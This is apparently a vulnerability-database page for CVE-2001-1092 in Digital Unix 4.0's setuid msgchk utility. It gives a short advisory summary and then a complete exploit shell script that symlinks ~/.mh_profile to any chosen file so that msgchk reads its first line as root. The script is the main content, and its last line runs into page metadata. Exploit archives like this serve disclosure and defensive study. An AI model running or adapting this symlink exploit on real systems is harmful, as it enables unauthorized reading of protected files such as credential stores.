Digital Unix 4.0 - MSGCHK MH_PROFILE Symbolic Link
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2001-1092 | 15 Mar 200205:00 | – | cve |
 | CVE-2001-1092 | 15 Mar 200205:00 | – | cvelist |
 | EUVD-2001-1073 | 7 Oct 202500:30 | – | euvd |
 | CVE-2001-1092 | 10 Sep 200104:00 | – | nvd |
 | Digital Unix msgchk vulnerable to file contents disclosure via symlink redirection of profile | 15 Nov 200100:00 | – | cert |
source: https://www.securityfocus.com/bid/3320/info
The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege.
Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host.
++ msgchkx.sh
#!/bin/sh
# truefinder, [email protected]
# msgchk file read vulnerability
if [ ! -f $1 ]
then
echo "usage : $0 <file path>"
fi
cd ~
ln -sf $1 ~/.mh_profile
/usr/bin/mh/msgchkData
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05 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.01107